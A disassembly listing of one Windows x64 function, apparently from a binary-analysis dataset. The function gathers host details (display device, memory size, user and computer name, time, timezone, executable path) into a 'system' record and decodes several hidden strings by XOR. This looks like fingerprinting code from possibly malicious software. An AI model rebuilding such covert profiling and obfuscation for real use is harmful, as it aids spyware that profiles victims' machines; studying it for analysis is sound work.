Function at 0x1400c2be0
Capabilities:
Get memory capacity

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
sub rsp, 0xbc0
lea rbp, [rsp + 0x40]
and rbp, 0xffffffffffffffe0
xor r12d, r12d
mov dword [rbp + 0x830], 0x348
xor edx, edx
mov word [rbp + 0x834], r12w
mov r8d, 0x342
lea rcx, [rbp + 0x836]
call fcn.1400e5330
lea r9d, [r12 + 1]
xor edx, edx
lea r8, [rbp + 0x830]
xor ecx, ecx
call qword [sym.imp.USER32.dll_EnumDisplayDevicesW]
test eax, eax
je 0x1400c2c60
lea rdx, [rbp + 0x874]
lea rcx, [rbp + 0xb0]
call fcn.140036d20
jmp 0x1400c2c83
xorps xmm0, xmm0
mov qword [rbp + 0xc0], r12
movups xmmword [rbp + 0xb0], xmm0
mov byte [rbp + 0xb0], r12b
mov qword [rbp + 0xc8], send
lea rcx, [rbp + 0x580]
call fcn.1400b4040
lea rcx, [rbp + 0x560]
call fcn.1400b3290
lea rcx, [rbp + 0x540]
call fcn.1400bd8e0
lea rcx, [rbp + 0x520]
call fcn.1400bb7a0
lea rcx, [rbp + 0x500]
call fcn.1400bb060
movabs rax, 0x169c28308dffc3e9
movabs rcx, 0x539504902711abd8
mov qword [rbp], rax
xorps xmm2, xmm2
mov rax, qword [rbp]
movabs r13, 0xe8590b1e481379b6
mov qword [rbp + 0x140], rax
mov rsi, 0xffffffffffffffff
movabs rax, 0x8e307b77667a09d7
mov r8, rsi
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x148], rax
movabs rax, 0x504aff026823a0da
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x150], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x158], rax
movabs rax, 0x39b31243fd8bb781
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x340], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x348], rax
movabs rax, 0x504aff651a4c8ea3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x350], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x358], rax
lea rax, [rbp + 0x140]
vmovdqu ymm0, ymmword [rbp + 0x340]
vpxor ymm1, ymm0, ymmword [rbp + 0x140]
vxorps xmm0, xmm0, xmm0
vmovdqu xmmword [rbp + 0x170], xmm0
vmovdqa ymmword [rbp + 0x140], ymm1
vmovups xmmword [rbp + 0x160], xmm2
vzeroupper
inc r8
cmp byte [rax + r8], r12b
jne 0x1400c2dc0
lea rdx, [rbp + 0x140]
lea rcx, [rbp + 0x160]
call fcn.1400221f0
lea rdx, [rbp + 0x160]
lea rcx, [rbp + 0x360]
call fcn.1400b3a80
mov rdx, qword [rbp + 0x178]
cmp rdx, 0x10
jb 0x1400c2e30
mov rcx, qword [rbp + 0x160]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400c2e2b
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400c3e7b
call fcn.1400e2cd8
movdqa xmm0, xmmword [0x1400f0c50]
lea rcx, [rbp + 0x78]
xor eax, eax
mov byte [rbp + 0x160], r12b
xor edx, edx
mov qword [rbp + 0x78], rax
movdqu xmmword [rbp + 0x170], xmm0
mov byte [rbp + 0x70], r12b
call fcn.14002c290
mov ecx, 0x20
call fcn.1400e2c9c
lea rdx, [rbp + 0x540]
mov rcx, rax
mov rbx, rax
call fcn.140024a30
mov ecx, dword [str.system]
lea rdx, [rbp + 0x2b0]
movdqa xmm1, xmmword [0x1400f3390]
xorps xmm0, xmm0
movups xmmword [rbp + 0x2b0], xmm0
mov dword [rbp + 0x2b0], ecx
movzx ecx, word [0x1400f09a4]
mov word [rbp + 0x2b4], cx
lea rcx, [0x140110360]
movdqu xmmword [rbp + 0x2c0], xmm1
mov byte [rbp + 0x2b6], r12b
call fcn.140025b20
movzx ecx, byte [0x1400f1f20]
lea rdx, [rbp + 0x2d0]
movdqa xmm1, xmmword [reloc.WS2_32.dll_htons]
xorps xmm0, xmm0
movups xmmword [rbp + 0x2d0], xmm0
mov byte [rbp + 0x2d8], cl
mov rcx, rax
movsd xmm0, qword [str.user_name]
movsd qword [rbp + 0x2d0], xmm0
movdqu xmmword [rbp + 0x2e0], xmm1
mov byte [rbp + 0x2d9], r12b
call fcn.140025b20
movzx edx, byte [rax]
mov byte [rax], 3
mov rcx, qword [rax + 8]
mov qword [rbp + 0x78], rcx
lea rcx, [rbp + 0x78]
mov byte [rbp + 0x70], dl
mov qword [rax + 8], rbx
call fcn.14002c290
xor eax, eax
mov byte [rbp + 0x80], r12b
xor edx, edx
mov qword [rbp + 0x88], rax
lea rcx, [rbp + 0x88]
call fcn.14002c290
mov ecx, 0x20
call fcn.1400e2c9c
xorps xmm0, xmm0
lea r15, [rbp + 0xb0]
movabs rdi, 0x7fffffffffffffff
mov rbx, rax
movups xmmword [rax], xmm0
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], r12
cmp qword [rbp + 0xc8], 0x10
mov r14, qword [rbp + 0xc0]
cmovae r15, qword [rbp + 0xb0]
cmp r14, rdi
ja 0x1400c3e81
mov qword [rax + 0x18], send
cmp r14, 0x10
jae 0x1400c2fb6
mov qword [rax + 0x10], r14
movups xmm0, xmmword [r15]
movups xmmword [rax], xmm0
jmp 0x1400c2ff7
mov rax, r14
or rax, 0xf
cmp rax, rdi
ja 0x1400c2fd1
mov ecx, socket
mov rdi, rax
cmp rax, rcx
cmovb rdi, rcx
lea rdx, [rdi + 1]
mov rcx, rbx
call fcn.140027ca0
lea r8, [r14 + 1]
mov qword [rbx], rax
mov rdx, r15
mov qword [rbx + 0x10], r14
mov rcx, rax
mov qword [rbx + 0x18], rdi
call fcn.1400e4c90
mov eax, dword [str.system]
lea rdx, [rbp + 0x2f0]
movdqa xmm1, xmmword [0x1400f3390]
lea rcx, [0x140110360]
xorps xmm0, xmm0
movups xmmword [rbp + 0x2f0], xmm0
mov dword [rbp + 0x2f0], eax
movzx eax, word [0x1400f09a4]
mov word [rbp + 0x2f4], ax
movdqu xmmword [rbp + 0x300], xmm1
mov byte [rbp + 0x2f6], r12b
call fcn.140025b20
mov ecx, dword [0x1400f1f24]
lea rdx, [rbp + 0x210]
movdqa xmm1, xmmword [reloc.WS2_32.dll_closesocket]
xorps xmm0, xmm0
movups xmmword [rbp + 0x210], xmm0
mov word [rbp + 0x210], cx
movzx ecx, byte [0x1400f1f26]
mov byte [rbp + 0x212], cl
mov rcx, rax
movdqu xmmword [rbp + 0x220], xmm1
mov byte [rbp + 0x213], r12b
call fcn.140025b20
movzx edx, byte [rax]
mov byte [rax], 3
mov rcx, qword [rax + 8]
mov qword [rbp + 0x88], rcx
lea rcx, [rbp + 0x88]
mov byte [rbp + 0x80], dl
mov qword [rax + 8], rbx
call fcn.14002c290
xor eax, eax
mov byte [rbp + 0x90], r12b
xor edx, edx
mov qword [rbp + 0x98], rax
lea rcx, [rbp + 0x98]
call fcn.14002c290
mov ecx, 0x20
call fcn.1400e2c9c
lea rdx, [rbp + 0x560]
mov rcx, rax
mov rbx, rax
call fcn.140024a30
mov ecx, dword [str.system]
lea rdx, [rbp + 0x230]
movdqa xmm1, xmmword [0x1400f3390]
xorps xmm0, xmm0
movups xmmword [rbp + 0x230], xmm0
mov dword [rbp + 0x230], ecx
movzx ecx, word [0x1400f09a4]
mov word [rbp + 0x234], cx
lea rcx, [0x140110360]
movdqu xmmword [rbp + 0x240], xmm1
mov byte [rbp + 0x236], r12b
call fcn.140025b20
mov ecx, dword [0x1400f1f28]
lea rdx, [rbp + 0x250]
movdqa xmm1, xmmword [reloc.WS2_32.dll_closesocket]
xorps xmm0, xmm0
movups xmmword [rbp + 0x250], xmm0
mov word [rbp + 0x250], cx
movzx ecx, byte [0x1400f1f2a]
mov byte [rbp + 0x252], cl
mov rcx, rax
movdqu xmmword [rbp + 0x260], xmm1
mov byte [rbp + 0x253], r12b
call fcn.140025b20
lea rcx, [rbp + 0x98]
movzx edx, byte [rax]
mov byte [rax], 3
mov r8, qword [rax + 8]
mov qword [rbp + 0x98], r8
mov byte [rbp + 0x90], dl
mov qword [rax + 8], rbx
call fcn.14002c290
xor eax, eax
mov byte [rbp + 0xa0], r12b
mov qword [rbp + 0xa8], rax
lea rcx, [rbp + 0xa8]
xor edx, edx
call fcn.14002c290
mov ecx, 0x20
mov byte [rbp + 0xa0], 3
call fcn.1400e2c9c
lea rdx, [rbp + 0x580]
mov rcx, rax
mov rbx, rax
call fcn.140024a30
mov eax, dword [str.system]
lea rdx, [rbp + 0x270]
movdqa xmm1, xmmword [0x1400f3390]
lea rcx, [0x140110360]
xorps xmm0, xmm0
mov qword [rbp + 0xa8], rbx
movups xmmword [rbp + 0x270], xmm0
mov dword [rbp + 0x270], eax
movzx eax, word [0x1400f09a4]
mov word [rbp + 0x274], ax
movdqu xmmword [rbp + 0x280], xmm1
mov byte [rbp + 0x276], r12b
call fcn.140025b20
xorps xmm0, xmm0
lea rdx, [0x1400f1f2c]
xorps xmm1, xmm1
lea rcx, [rbp + 0x400]
mov r8d, 2
mov rbx, rax
movups xmmword [rbp + 0x400], xmm0
movdqu xmmword [rbp + 0x410], xmm1
call fcn.1400221f0
lea rdx, [rbp + 0x400]
mov rcx, rbx
call fcn.140025b20
mov rcx, rax
lea rdx, [rbp + 0xa0]
call fcn.140025a40
lea rcx, [rbp + 0x690]
mov dword [rbp + 0x690], 0x40
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov rcx, qword [rbp + 0x698]
xor eax, eax
mov byte [rbp + 0x130], r12b
xorps xmm0, xmm0
mov qword [rbp + 0x138], rax
test rcx, rcx
js 0x1400c32d1
cvtsi2ss xmm0, rcx
jmp 0x1400c32e6
mov rax, rcx
and ecx, 1
shr rax, 1
or rax, rcx
cvtsi2ss xmm0, rax
addss xmm0, xmm0
mulss xmm0, dword [0x1400f3380]
lea rcx, [rbp + 0x130]
cvtps2pd xmm1, xmm0
call fcn.1400ad920
xorps xmm0, xmm0
lea rdx, str.system
xorps xmm1, xmm1
lea rcx, [rbp + 0x420]
mov r8d, 6
movups xmmword [rbp + 0x420], xmm0
movdqu xmmword [rbp + 0x430], xmm1
call fcn.1400221f0
lea rdx, [rbp + 0x420]
lea rcx, [0x140110360]
call fcn.140025b20
xorps xmm0, xmm0
lea rdx, [0x1400f1f30]
xorps xmm1, xmm1
lea rcx, [rbp + 0x440]
mov r8d, 3
mov rbx, rax
movups xmmword [rbp + 0x440], xmm0
movdqu xmmword [rbp + 0x450], xmm1
call fcn.1400221f0
lea rdx, [rbp + 0x440]
mov rcx, rbx
call fcn.140025b20
mov rcx, rax
lea rdx, [rbp + 0x130]
call fcn.140025a40
lea rdx, [rbp + 0x520]
lea rcx, [rbp + 0x5d0]
call fcn.140021fd0
xorps xmm0, xmm0
lea rdx, str.system
xorps xmm1, xmm1
lea rcx, [rbp + 0x460]
mov r8d, 6
mov rdi, rax
movups xmmword [rbp + 0x460], xmm0
movdqu xmmword [rbp + 0x470], xmm1
call fcn.1400221f0
lea rdx, [rbp + 0x460]
lea rcx, [0x140110360]
call fcn.140025b20
xorps xmm0, xmm0
lea rdx, str.computer_name
xorps xmm1, xmm1
lea rcx, [rbp + 0x480]
mov r8d, recv
mov rbx, rax
movups xmmword [rbp + 0x480], xmm0
movdqu xmmword [rbp + 0x490], xmm1
call fcn.1400221f0
lea rdx, [rbp + 0x480]
mov rcx, rbx
call fcn.140025b20
mov rcx, rax
mov rdx, rdi
call fcn.140025a40
lea rdx, [rbp + 0x500]
lea rcx, [rbp + 0x5e0]
call fcn.140021fd0
xorps xmm0, xmm0
lea rdx, str.system
xorps xmm1, xmm1
lea rcx, [rbp + 0x4a0]
mov r8d, 6
mov rbx, rax
movups xmmword [rbp + 0x4a0], xmm0
movdqu xmmword [rbp + 0x4b0], xmm1
call fcn.1400221f0
lea rdx, [rbp + 0x4a0]
lea rcx, [0x140110360]
call fcn.140025b20
mov r8, rax
movabs rax, 0x39b3124399e2c0e9
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0xd0], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
lea rdx, [rbp + 0xd0]
mov qword [rbp + 0xd8], rcx
movabs r14, 0x39b31243fd8bb781
mov qword [rbp], r14
mov rcx, qword [rbp]
mov qword [rbp + 0x1c0], rcx
mov rcx, r8
mov qword [rbp], r13
mov rax, qword [rbp]
movdqa xmm0, xmmword [rbp + 0xd0]
mov qword [rbp + 0x1c8], rax
xorps xmm0, xmmword [rbp + 0x1c0]
movdqa xmmword [rbp + 0xd0], xmm0
call fcn.1400220c0
mov rcx, rax
mov rdx, rbx
call fcn.140025a40
lea rcx, [rbp + 0x600]
call fcn.1400b7030
cmp qword [rax + 0x18], 0x10
mov r8, qword [rax + 0x10]
jb 0x1400c3524
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rbp + 0x4c0]
call fcn.140023c20
lea rdx, [rbp + 0x4c0]
lea rcx, [rbp + 0x5f0]
call fcn.140022040
xorps xmm0, xmm0
lea rdx, str.system
xorps xmm1, xmm1
lea rcx, [rbp + 0x380]
mov r8d, 6
mov rbx, rax
movups xmmword [rbp + 0x380], xmm0
movdqu xmmword [rbp + 0x390], xmm1
call fcn.1400221f0
lea rdx, [rbp + 0x380]
lea rcx, [0x140110360]
call fcn.140025b20
mov r8, rax
lea rdx, [rbp + 0xe0]
movabs rax, 0x51c07c2698f9d4f2
mov qword [rbp], rax
movabs rax, 0xe8590b1e48130dd9
mov rcx, qword [rbp]
mov qword [rbp + 0xe0], rcx
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0xe8], rcx
mov qword [rbp], r14
mov rcx, qword [rbp]
mov qword [rbp + 0x1d0], rcx
mov rcx, r8
mov qword [rbp], r13
mov rax, qword [rbp]
movdqa xmm0, xmmword [rbp + 0xe0]
mov qword [rbp + 0x1d8], rax
xorps xmm0, xmmword [rbp + 0x1d0]
movdqa xmmword [rbp + 0xe0], xmm0
call fcn.1400220c0
mov rcx, rax
mov rdx, rbx
call fcn.140025a40
lea rcx, [rbp + 0x4c0]
call fcn.1400256a0
lea rcx, [rbp + 0x600]
call fcn.1400256a0
lea rcx, [rbp + 0x620]
call fcn.1400b3820
mov rdx, rax
lea rcx, [rbp + 0x5a0]
call fcn.140022040
xorps xmm0, xmm0
lea rdx, str.system
xorps xmm1, xmm1
lea rcx, [rbp + 0x3a0]
mov r8d, 6
mov rbx, rax
movups xmmword [rbp + 0x3a0], xmm0
movdqu xmmword [rbp + 0x3b0], xmm1
call fcn.1400221f0
lea rdx, [rbp + 0x3a0]
lea rcx, [0x140110360]
call fcn.140025b20
mov r8, rax
movabs rax, 0x4bec7c2698f9d4f2
mov qword [rbp], rax
movabs rax, 0x87307f6b247c0ad3
mov rcx, qword [rbp]
mov qword [rbp + 0x1a0], rcx
mov qword [rbp], rax
movabs rax, 0x504aff651a4c8ecd
mov rcx, qword [rbp]
mov qword [rbp + 0x1a8], rcx
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x1b0], rcx
movabs rcx, 0x539504902711abd8
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x1b8], rax
mov qword [rbp], r14
mov rax, qword [rbp]
lea rdx, [rbp + 0x1a0]
mov qword [rbp + 0x320], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x328], rax
movabs rax, 0x504aff651a4c8ea3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x330], rax
mov qword [rbp], rcx
mov rcx, r8
mov rax, qword [rbp]
mov qword [rbp + 0x338], rax
vmovdqu ymm0, ymmword [rbp + 0x320]
vpxor ymm1, ymm0, ymmword [rbp + 0x1a0]
vmovdqa ymmword [rbp + 0x1a0], ymm1
vzeroupper
call fcn.1400220c0
mov rcx, rax
mov rdx, rbx
call fcn.140025a40
lea rcx, [rbp + 0x620]
call fcn.1400256a0
lea rcx, [rbp + 8]
call fcn.1400c4ec0
lea rdx, [rbp + 8]
lea rcx, [rbp + 0x660]
call fcn.1400ce0c8
lea r9, [rbp + 0x660]
mov edx, 0x50
lea r8, str._d__m__Y___H:_M:_S
lea rcx, [rbp + 0x6d0]
call fcn.1400ce4d4
xorps xmm0, xmm0
lea rax, [rbp + 0x6d0]
xorps xmm1, xmm1
mov r8, rsi
movups xmmword [rbp + 0x180], xmm0
movdqu xmmword [rbp + 0x190], xmm1
nop word [rax + rax]
inc r8
cmp byte [rax + r8], r12b
jne 0x1400c37d0
lea rdx, [rbp + 0x6d0]
lea rcx, [rbp + 0x180]
call fcn.1400221f0
lea rdx, [rbp + 0x180]
lea rcx, [rbp + 0x5b0]
call fcn.140022040
xorps xmm0, xmm0
lea rdx, str.system
xorps xmm1, xmm1
lea rcx, [rbp + 0x3c0]
mov r8d, 6
mov rdi, rax
movups xmmword [rbp + 0x3c0], xmm0
movdqu xmmword [rbp + 0x3d0], xmm1
call fcn.1400221f0
lea rdx, [rbp + 0x3c0]
lea rcx, [0x140110360]
call fcn.140025b20
xorps xmm0, xmm0
lea rdx, str.time
xorps xmm1, xmm1
lea rcx, [rbp + 0x3e0]
mov r8d, 4
mov rbx, rax
movups xmmword [rbp + 0x3e0], xmm0
movdqu xmmword [rbp + 0x3f0], xmm1
call fcn.1400221f0
lea rdx, [rbp + 0x3e0]
mov rcx, rbx
call fcn.140025b20
mov rcx, rax
mov rdx, rdi
call fcn.140025a40
mov rdx, qword [rbp + 0x198]
cmp rdx, 0x10
jb 0x1400c38cf
mov rcx, qword [rbp + 0x180]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400c38ca
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400c3e87
call fcn.1400e2cd8
movdqa xmm0, xmmword [0x1400f0c50]
lea rcx, [rbp + 0x720]
xor edx, edx
mov byte [rbp + 0x180], r12b
mov r8d, 0x104
movdqu xmmword [rbp + 0x190], xmm0
call fcn.1400e5330
mov r8d, 0x104
lea rdx, [rbp + 0x720]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xorps xmm0, xmm0
mov qword [rbp + 0x60], r12
movups xmmword [rbp + 0x50], xmm0
mov qword [rbp + 0x68], r12
lea rax, [rbp + 0x720]
inc rsi
cmp byte [rax + rsi], r12b
jne 0x1400c3925
mov r8, rsi
lea rdx, [rbp + 0x720]
lea rcx, [rbp + 0x50]
call fcn.1400221f0
cmp qword [rbp + 0x68], 0x10
lea rdx, [rbp + 0x50]
mov r8, qword [rbp + 0x60]
lea rcx, [rbp + 0x4e0]
cmovae rdx, qword [rbp + 0x50]
call fcn.140023c20
lea rdx, [rbp + 0x4e0]
lea rcx, [rbp + 0x5c0]
call fcn.140022040
xorps xmm0, xmm0
lea rdx, str.system
xorps xmm1, xmm1
lea rcx, [rbp + 0x30]
mov r8d, 6
mov rbx, rax
movups xmmword [rbp + 0x30], xmm0
movdqu xmmword [rbp + 0x40], xmm1
call fcn.1400221f0
lea rdx, [rbp + 0x30]
lea rcx, [0x140110360]
call fcn.140025b20
mov r8, rax
lea rdx, [rbp + 0xf0]
movabs rax, 0x66d666369eeecfe4
mov qword [rbp], rax
movabs rax, 0xe8590b1e206718c6
mov rcx, qword [rbp]
mov qword [rbp + 0xf0], rcx
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0xf8], rcx
mov qword [rbp], r14
mov rcx, qword [rbp]
mov qword [rbp + 0x1e0], rcx
mov rcx, r8
mov qword [rbp], r13
mov rax, qword [rbp]
movdqa xmm0, xmmword [rbp + 0xf0]
mov qword [rbp + 0x1e8], rax
xorps xmm0, xmmword [rbp + 0x1e0]
movdqa xmmword [rbp + 0xf0], xmm0
call fcn.1400220c0
mov rcx, rax
mov rdx, rbx
call fcn.140025a40
lea rcx, [rbp + 0x4e0]
call fcn.1400256a0
mov rdx, qword [rbp + 0x68]
cmp rdx, 0x10
jb 0x1400c3a75
mov rcx, qword [rbp + 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400c3a70
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400c3e8d
call fcn.1400e2cd8
lea rcx, [rbp + 0x640]
mov qword [rbp + 0x60], r12
mov qword [rbp + 0x68], send
mov byte [rbp + 0x50], r12b
call fcn.1400bcf40
cmp qword [rax + 0x18], 0x10
mov r8, qword [rax + 0x10]
jb 0x1400c3a9f
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rbp + 0x290]
call fcn.140023c20
lea rdx, [rbp + 0x290]
lea rcx, [rbp + 0x110]
call fcn.140022040
xorps xmm0, xmm0
lea rdx, str.system
xorps xmm1, xmm1
lea rcx, [rbp + 0x30]
mov r8d, 6
mov rdi, rax
movups xmmword [rbp + 0x30], xmm0
movdqu xmmword [rbp + 0x40], xmm1
call fcn.1400221f0
lea rdx, [rbp + 0x30]
lea rcx, [0x140110360]
call fcn.140025b20
xorps xmm0, xmm0
lea rdx, str.timezone
xorps xmm1, xmm1
lea rcx, [rbp + 0x30]
mov r8d, 8
mov rbx, rax
movups xmmword [rbp + 0x30], xmm0
movdqu xmmword [rbp + 0x40], xmm1
call fcn.1400221f0
lea rdx, [rbp + 0x30]
mov rcx, rbx
call fcn.140025b20
mov rcx, rax
mov rdx, rdi
call fcn.140025a40
lea rcx, [rbp + 0x290]
call fcn.1400256a0
lea rcx, [rbp + 0x640]
call fcn.1400256a0
mov eax, dword [str.sperma]
lea rdx, [rbp + 0x110]
xorps xmm0, xmm0
mov qword [rbp + 0x120], 6
movups xmmword [rbp + 0x110], xmm0
mov dword [rbp + 0x110], eax
lea rcx, [rbp + 0x290]
movzx eax, word [0x1400f1f60]
mov r8d, 6
mov word [rbp + 0x114], ax
mov qword [rbp + 0x128], send
mov byte [rbp + 0x116], r12b
call fcn.140023c20
lea rdx, [rbp + 0x290]
lea rcx, [rbp + 0x10]
call fcn.140022040
xorps xmm0, xmm0
lea rdx, str.system
xorps xmm1, xmm1
lea rcx, [rbp + 0x30]
mov r8d, 6
mov rbx, rax
movups xmmword [rbp + 0x30], xmm0
movdqu xmmword [rbp + 0x40], xmm1
call fcn.1400221f0
lea rdx, [rbp + 0x30]
lea rcx, [0x140110360]
call fcn.140025b20
mov r8, rax
movabs rax, 0x58dd4d2791e2c2e3
mov qword [rbp + 8], rax
movabs rax, 0xe8590b1e48131cdb
mov rcx, qword [rbp + 8]
mov qword [rbp + 0x100], rcx
mov qword [rbp + 8], rax
mov rcx, qword [rbp + 8]
mov qword [rbp + 0x108], rcx
mov qword [rbp + 8], r14
mov rcx, qword [rbp + 8]
mov qword [rbp + 8], r13
mov rax, qword [rbp + 8]
movdqa xmm0, xmmword [rbp + 0x100]
mov qword [rbp + 0x1f8], rax
mov qword [rbp + 0x1f0], rcx
xorps xmm0, xmmword [rbp + 0x1f0]
lea rdx, [rbp + 0x100]
mov rcx, r8
movdqa xmmword [rbp + 0x100], xmm0
call fcn.1400220c0
mov rcx, rax
mov rdx, rbx
call fcn.140025a40
lea rcx, [rbp + 0x290]
call fcn.1400256a0
mov rdx, qword [rbp + 0x128]
cmp rdx, 0x10
jb 0x1400c3cc3
mov rcx, qword [rbp + 0x110]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400c3cbe
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400c3e93
call fcn.1400e2cd8
lea rcx, [rbp + 0x200]
cmp qword [rbp + 0x370], r12
je 0x1400c3d50
lea rdx, [rbp + 0x360]
call fcn.140021fd0
xorps xmm0, xmm0
lea rdx, str.system
xorps xmm1, xmm1
lea rcx, [rbp + 0x10]
mov r8d, 6
mov rdi, rax
movups xmmword [rbp + 0x10], xmm0
movdqu xmmword [rbp + 0x20], xmm1
call fcn.1400221f0
lea rdx, [rbp + 0x10]
lea rcx, [0x140110360]
call fcn.140025b20
xorps xmm0, xmm0
lea rdx, [0x1400f1f64]
xorps xmm1, xmm1
lea rcx, [rbp + 0x10]
mov r8d, 2
mov rbx, rax
movups xmmword [rbp + 0x10], xmm0
movdqu xmmword [rbp + 0x20], xmm1
call fcn.1400221f0
lea rdx, [rbp + 0x10]
mov rcx, rbx
call fcn.140025b20
mov rdx, rdi
jmp 0x1400c3dc7
xor edx, edx
call fcn.1400a9420
xorps xmm0, xmm0
lea rdx, str.system
xorps xmm1, xmm1
lea rcx, [rbp + 0x10]
mov r8d, 6
movups xmmword [rbp + 0x10], xmm0
movdqu xmmword [rbp + 0x20], xmm1
call fcn.1400221f0
lea rdx, [rbp + 0x10]
lea rcx, [0x140110360]
call fcn.140025b20
xorps xmm0, xmm0
lea rdx, [0x1400f1f64]
xorps xmm1, xmm1
lea rcx, [rbp + 0x10]
mov r8d, 2
mov rbx, rax
movups xmmword [rbp + 0x10], xmm0
movdqu xmmword [rbp + 0x20], xmm1
call fcn.1400221f0
lea rdx, [rbp + 0x10]
mov rcx, rbx
call fcn.140025b20
lea rdx, [rbp + 0x200]
mov rcx, rax
call fcn.140025a40
lea rcx, [rbp + 0x360]
call fcn.1400256a0
lea rcx, [rbp + 0x500]
call fcn.1400256a0
lea rcx, [rbp + 0x520]
call fcn.1400256a0
lea rcx, [rbp + 0x540]
call fcn.1400256a0
lea rcx, [rbp + 0x560]
call fcn.1400256a0
lea rcx, [rbp + 0x580]
call fcn.1400256a0
mov rdx, qword [rbp + 0xc8]
cmp rdx, 0x10
jb 0x1400c3e54
mov rcx, qword [rbp + 0xb0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400c3e4f
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400c3e75
call fcn.1400e2cd8
lea r11, [rsp + 0xbc0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400c4dc4
int3
call fcn.1400c4dc4
int3
call fcn.140027c40
int3
call fcn.1400c4dc4
int3
call fcn.1400c4dc4
int3
call fcn.1400c4dc4
int3